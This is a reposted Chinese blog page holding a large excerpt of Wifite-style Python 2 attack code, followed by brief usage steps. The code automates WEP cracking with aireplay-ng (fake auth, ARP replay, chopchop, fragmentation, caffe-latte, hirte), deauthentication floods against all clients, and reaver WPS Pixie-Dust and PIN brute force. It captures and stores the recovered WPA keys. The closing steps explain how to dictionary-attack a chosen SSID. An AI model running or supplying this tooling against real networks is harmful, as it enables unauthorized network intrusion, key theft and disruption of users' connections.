  2665. ivs = 0
  2666. last_ivs = 0
  2667. # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap
  2668. pass
  2669. if successful:
  2670. print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W
  2671. else:
  2672. print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W
  2673. send_interrupt(proc_airodump)
  2674. if proc_aireplay != None:
  2675. send_interrupt(proc_aireplay)
  2676. # Remove files generated by airodump/aireplay/packetforce
  2677. for filename in os.listdir('.'):
  2678. if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  2679. remove_file(filename)
  2680. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2681. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2682. def wep_fake_auth(self, iface, target, time_to_display):
  2683. """
  2684. Attempt to (falsely) authenticate with a WEP access point.
  2685. Gives 3 seconds to make each 5 authentication attempts.
  2686. Returns True if authentication was successful, False otherwise.
  2687. """
  2688. max_wait = 3 # Time, in seconds, to allow each fake authentication
  2689. max_attempts = 5 # Number of attempts to make
  2690. for fa_index in xrange(1, max_attempts + 1):
  2691. print '\r ',
  2692. print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
  2693. (GR + time_to_display + W, G, W, fa_index, max_attempts),
  2694. stdout.flush()
  2695. cmd = ['aireplay-ng',
  2696. '--ignore-negative-one',
  2697. '-1', '0', # Fake auth, no delay
  2698. '-a', target.bssid,
  2699. '-T', '1'] # Make 1 attempt
  2700. if target.ssid != '':
  2701. cmd.append('-e')
  2702. cmd.append(target.ssid)
  2703. cmd.append(iface)
  2704. proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
  2705. started = time.time()
  2706. while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass
  2707. if time.time() - started > max_wait:
  2708. send_interrupt(proc_fakeauth)
  2709. print R + 'failed' + W,
  2710. stdout.flush()
  2711. time.sleep(0.5)
  2712. continue
  2713. result = proc_fakeauth.communicate()[0].lower()
  2714. if result.find('switching to shared key') != -1 or \
  2715. result.find('rejects open system'): pass
  2716. if result.find('association successful') != -1:
  2717. print G + 'success!' + W
  2718. return True
  2719. print R + 'failed' + W,
  2720. stdout.flush()
  2721. time.sleep(0.5)
  2722. continue
  2723. print ''
  2724. return False
  2725. def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
  2726. """
  2727. Returns aireplay-ng command line arguments based on parameters.
  2728. """
  2729. cmd = ''
  2730. if attack_num == 0:
  2731. cmd = ['aireplay-ng',
  2732. '--ignore-negative-one',
  2733. '--arpreplay',
  2734. '-b', target.bssid,
  2735. '-x', str(self.RUN_CONFIG.WEP_PPS)] # Packets per second
  2736. if client_mac != '':
  2737. cmd.append('-h')
  2738. cmd.append(client_mac)
  2739. elif len(clients) > 0:
  2740. cmd.append('-h')
  2741. cmd.append(clients[0].bssid)
  2742. cmd.append(iface)
  2743. elif attack_num == 1:
  2744. cmd = ['aireplay-ng',
  2745. '--ignore-negative-one',
  2746. '--chopchop',
  2747. '-b', target.bssid,
  2748. '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  2749. '-m', '60', # Minimum packet length (bytes)
  2750. '-n', '82', # Maxmimum packet length
  2751. '-F'] # Automatically choose the first packet
  2752. if client_mac != '':
  2753. cmd.append('-h')
  2754. cmd.append(client_mac)
  2755. elif len(clients) > 0:
  2756. cmd.append('-h')
  2757. cmd.append(clients[0].bssid)
  2758. cmd.append(iface)
  2759. elif attack_num == 2:
  2760. cmd = ['aireplay-ng',
  2761. '--ignore-negative-one',
  2762. '--fragment',
  2763. '-b', target.bssid,
  2764. '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  2765. '-m', '100', # Minimum packet length (bytes)
  2766. '-F'] # Automatically choose the first packet
  2767. if client_mac != '':
  2768. cmd.append('-h')
  2769. cmd.append(client_mac)
  2770. elif len(clients) > 0:
  2771. cmd.append('-h')
  2772. cmd.append(clients[0].bssid)
  2773. cmd.append(iface)
  2774. elif attack_num == 3:
  2775. cmd = ['aireplay-ng',
  2776. '--ignore-negative-one',
  2777. '--caffe-latte',
  2778. '-b', target.bssid]
  2779. if len(clients) > 0:
  2780. cmd.append('-h')
  2781. cmd.append(clients[0].bssid)
  2782. cmd.append(iface)
  2783. elif attack_num == 4:
  2784. cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c',
  2785. 'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN_CONFIG.WEP_PPS), '-F', '-p', '0841', iface]
  2786. elif attack_num == 5:
  2787. if len(clients) == 0:
  2788. print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients'
  2789. return ''
  2790. cmd = ['aireplay-ng',
  2791. '--ignore-negative-one',
  2792. '--cfrag',
  2793. '-h', clients[0].bssid,
  2794. iface]
  2795. return cmd
  2796. def wep_send_deauths(self, iface, target, clients):
  2797. """
  2798. Sends deauth packets to broadcast and every client.
  2799. """
  2800. # Send deauth to broadcast
  2801. cmd = ['aireplay-ng',
  2802. '--ignore-negative-one',
  2803. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  2804. '-a', target.bssid,
  2805. iface]
  2806. call(cmd, stdout=DN, stderr=DN)
  2807. # Send deauth to every client
  2808. for client in clients:
  2809. cmd = ['aireplay-ng',
  2810. '--ignore-negative-one',
  2811. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  2812. '-a', target.bssid,
  2813. '-h', client.bssid,
  2814. iface]
  2815. call(cmd, stdout=DN, stderr=DN)
  2816. #################
  2817. # WPS FUNCTIONS #
  2818. #################
  2819. class WPSAttack(Attack):
  2820. def __init__(self, iface, target, config):
  2821. self.iface = iface
  2822. self.target = target
  2823. self.RUN_CONFIG = config
  2824. def RunAttack(self):
  2825. '''
  2826. Abstract method for initializing the WPS attack
  2827. '''
  2828. if self.is_pixie_supported():
  2829. # Try the pixie-dust attack
  2830. if self.attack_wps_pixie():
  2831. # If it succeeds, stop
  2832. return True
  2833. # Drop out if user specified to run ONLY the pixie attack
  2834. if self.RUN_CONFIG.PIXIE:
  2835. return False
  2836. # Try the WPS PIN attack
  2837. return self.attack_wps()
  2838. def EndAttack(self):
  2839. '''
  2840. Abstract method for ending the WPS attack
  2841. '''
  2842. pass
  2843. def is_pixie_supported(self):
  2844. '''
  2845. Checks if current version of Reaver supports the pixie-dust attack
  2846. '''
  2847. p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE)
  2848. stdout = p.communicate()[1]
  2849. for line in stdout.split('\n'):
  2850. if '--pixie-dust' in line:
  2851. return True
  2852. return False
  2853. def attack_wps_pixie(self):
  2854. """
  2855. Attempts "Pixie WPS" attack which certain vendors
  2856. susceptible to.
  2857. """
  2858. # TODO Check if the user's version of reaver supports the Pixie attack (1.5.2+, "mod by t6_x")
  2859. # If not, return False
  2860. print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \
  2861. (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  2862. cmd = ['reaver',
  2863. '-i', self.iface,
  2864. '-b', self.target.bssid,
  2865. '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored
  2866. '-c', self.target.channel,
  2867. '-s', 'n',
  2868. '-K', '1', # Pixie WPS attack
  2869. '-vv'] # verbose output
  2870. # Redirect stderr to output file
  2871. errf = open(self.RUN_CONFIG.temp + 'pixie.out', 'a')
  2872. # Start process
  2873. proc = Popen(cmd, stdout=errf, stderr=errf)
  2874. cracked = False # Flag for when password/pin is found
  2875. time_started = time.time()
  2876. pin = ''
  2877. key = ''
  2878. try:
  2879. while not cracked:
  2880. time.sleep(1)
  2881. errf.flush()
  2882. if proc.poll() != None:
  2883. # Process stopped: Cracked? Failed?
  2884. errf.close()
  2885. inf = open(self.RUN_CONFIG.temp + 'pixie.out', 'r')
  2886. lines = inf.read().split('\n')
  2887. inf.close()
  2888. for line in lines:
  2889. # When it's cracked:
  2890. if line.find("WPS PIN: '") != -1:
  2891. pin = line[line.find("WPS PIN: '") + 10:-1]
  2892. if line.find("WPA PSK: '") != -1:
  2893. key = line[line.find("WPA PSK: '") + 10:-1]
  2894. cracked = True
  2895. # When it' failed:
  2896. if 'Pixie-Dust' in line and 'WPS pin not found' in line:
  2897. # PixieDust isn't possible on this router
  2898. print '\r %s WPS Pixie attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W)
  2899. break
  2900. break
  2901. print '\r %s WPS Pixie attack:' % (GR + sec_to_hms(time.time() - time_started) + G),
  2902. # Check if there's an output file to parse
  2903. if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue
  2904. inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  2905. lines = inf.read().split('\n')
  2906. inf.close()
  2907. output_line = ''
  2908. for line in lines:
  2909. line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip()
  2910. if line == '' or line == ' ' or line == '\t': continue
  2911. if len(line) > 50:
  2912. # Trim to a reasonable size
  2913. line = line[0:47] + '...'
  2914. output_line = line
  2915. if 'Sending M2 message' in output_line:
  2916. # At this point in the Pixie attack, all output is via stderr
  2917. # We have to wait for the process to finish to see the result.
  2918. print O, 'attempting to crack and fetch psk... ', W,
  2919. elif output_line != '':
  2920. # Print the last message from reaver as a "status update"
  2921. print C, output_line, W, ' ' * (50 - len(output_line)),
  2922. stdout.flush()
  2923. # Clear out output file
  2924. inf = open(self.RUN_CONFIG.temp + 'out.out', 'w')
  2925. inf.close()
  2926. # End of big "while not cracked" loop
  2927. if cracked:
  2928. if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
  2929. if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  2930. self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  2931. G + self.target.ssid + W, C + key + W, C + pin + W))
  2932. self.RUN_CONFIG.WPA_FINDINGS.append('')
  2933. t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  2934. t.key = key
  2935. t.wps = pin
  2936. self.RUN_CONFIG.save_cracked(t)
  2937. except KeyboardInterrupt:
  2938. print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W
  2939. if attack_interrupted_prompt():
  2940. send_interrupt(proc)
  2941. print ''
  2942. self.RUN_CONFIG.exit_gracefully(0)
  2943. send_interrupt(proc)
  2944. # Delete the files
  2945. os.remove(self.RUN_CONFIG.temp + "out.out")
  2946. os.remove(self.RUN_CONFIG.temp + "pixie.out")
  2947. return cracked
  2948. def attack_wps(self):
  2949. """
  2950. Mounts attack against target on iface.
  2951. Uses "reaver" to attempt to brute force the PIN.
  2952. Once PIN is found, PSK can be recovered.
  2953. PSK is displayed to user and added to WPS_FINDINGS
  2954. """
  2955. print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \
  2956. (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  2957. cmd = ['reaver',
  2958. '-i', self.iface,
  2959. '-b', self.target.bssid,
  2960. '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored
  2961. '-a', # auto-detect best options, auto-resumes sessions, doesn't require input!
  2962. '-c', self.target.channel,
  2963. # '--ignore-locks',
  2964. '-vv'] # verbose output
  2965. proc = Popen(cmd, stdout=DN, stderr=DN)
  2966. cracked = False # Flag for when password/pin is found
  2967. percent = 'x.xx%' # Percentage complete
  2968. aps = 'x' # Seconds per attempt
  2969. time_started = time.time()
  2970. last_success = time_started # Time of last successful attempt
  2971. last_pin = '' # Keep track of last pin tried (to detect retries)
  2972. retries = 0 # Number of times we have attempted this PIN
  2973. tries_total = 0 # Number of times we have attempted all pins
  2974. tries = 0 # Number of successful attempts
  2975. pin = ''
  2976. key = ''
  2977. try:
  2978. while not cracked:
  2979. time.sleep(1)
  2980. if proc.poll() != None:
  2981. # Process stopped: Cracked? Failed?
  2982. inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  2983. lines = inf.read().split('\n')
  2984. inf.close()
  2985. for line in lines:
  2986. # When it's cracked:
  2987. if line.find("WPS PIN: '") != -1:
  2988. pin = line[line.find("WPS PIN: '") + 10:-1]
  2989. if line.find("WPA PSK: '") != -1:
  2990. key = line[line.find("WPA PSK: '") + 10:-1]
  2991. cracked = True
  2992. break
  2993. if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue
  2994. inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  2995. lines = inf.read().split('\n')
  2996. inf.close()
  2997. for line in lines:
  2998. if line.strip() == '': continue
  2999. # Status
  3000. if line.find(' complete @ ') != -1 and len(line) > 8:
  3001. percent = line.split(' ')[1]
  3002. i = line.find(' (')
  3003. j = line.find(' seconds/', i)
  3004. if i != -1 and j != -1: aps = line[i + 2:j]
  3005. # PIN attempt
  3006. elif line.find(' Trying pin ') != -1:
  3007. pin = line.strip().split(' ')[-1]
  3008. if pin == last_pin:
  3009. retries += 1
  3010. elif tries_total == 0:
  3011. last_pin = pin
  3012. tries_total -= 1
  3013. else:
  3014. last_success = time.time()
  3015. tries += 1
  3016. last_pin = pin
  3017. retries = 0
  3018. tries_total += 1
  3019. # Warning
  3020. elif line.endswith('10 failed connections in a row'):
  3021. pass
  3022. # Check for PIN/PSK
  3023. elif line.find("WPS PIN: '") != -1:
  3024. pin = line[line.find("WPS PIN: '") + 10:-1]
  3025. elif line.find("WPA PSK: '") != -1:
  3026. key = line[line.find("WPA PSK: '") + 10:-1]
  3027. cracked = True
  3028. if cracked: break
  3029. print ' %s WPS attack, %s success/ttl,' % \
  3030. (GR + sec_to_hms(time.time() - time_started) + W, \
  3031. G + str(tries) + W + '/' + O + str(tries_total) + W),
  3032. if percent == 'x.xx%' and aps == 'x':
  3033. print '\r',
  3034. else:
  3035. print '%s complete (%s sec/att) \r' % (G + percent + W, G + aps + W),
  3036. if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT:
  3037. print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % (
  3038. self.RUN_CONFIG.WPS_TIMEOUT)
  3039. print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3040. break
  3041. if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES:
  3042. print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % (
  3043. self.RUN_CONFIG.WPS_MAX_RETRIES)
  3044. print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W
  3045. print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3046. break
  3047. if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (
  3048. float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD:
  3049. print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % (
  3050. self.RUN_CONFIG.WPS_RATIO_THRESHOLD)
  3051. print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W)
  3052. break
  3053. stdout.flush()
  3054. # Clear out output file if bigger than 1mb
  3055. inf = open(self.RUN_CONFIG.temp + 'out.out', 'w')
  3056. inf.close()
  3057. # End of big "while not cracked" loop
  3058. if cracked:
  3059. if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
  3060. if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  3061. self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  3062. G + self.target.ssid + W, C + key + W, C + pin + W))
  3063. self.RUN_CONFIG.WPA_FINDINGS.append('')
  3064. t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  3065. t.key = key
  3066. t.wps = pin
  3067. self.RUN_CONFIG.save_cracked(t)
  3068. except KeyboardInterrupt:
  3069. print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W
  3070. if attack_interrupted_prompt():
  3071. send_interrupt(proc)
  3072. print ''
  3073. self.RUN_CONFIG.exit_gracefully(0)
  3074. send_interrupt(proc)
  3075. return cracked
  3076. if __name__ == '__main__':
  3077. RUN_CONFIG = RunConfiguration()
  3078. try:
  3079. banner(RUN_CONFIG)
  3080. engine = RunEngine(RUN_CONFIG)
  3081. engine.Start()
  3082. #main(RUN_CONFIG)
  3083. except KeyboardInterrupt:
  3084. print R + '\n (^C)' + O + ' interrupted\n' + W
  3085. except EOFError:
  3086. print R + '\n (^D)' + O + ' interrupted\n' + W
  3087. RUN_CONFIG.exit_gracefully(0)

 使用方法:

  1. 先将字典命名为phpbb.txt 并保存在 /usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds 路径下,
  2. 连接好外置网卡并开启监听模式。
  3. wifite -wpa
  4. ctrl+c 停止
  5. 输入对应SSID数字并回车
  6. 脚本将自动调用目录下字典进行穷举。

作者:AirCrk

原文地址:http://www.cnblogs.com/AirCrk/articles/5658108.html

转载于:https://www.cnblogs.com/AirCrk/p/5658108.html

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/487256
推荐阅读
相关标签
  

闽ICP备14008679号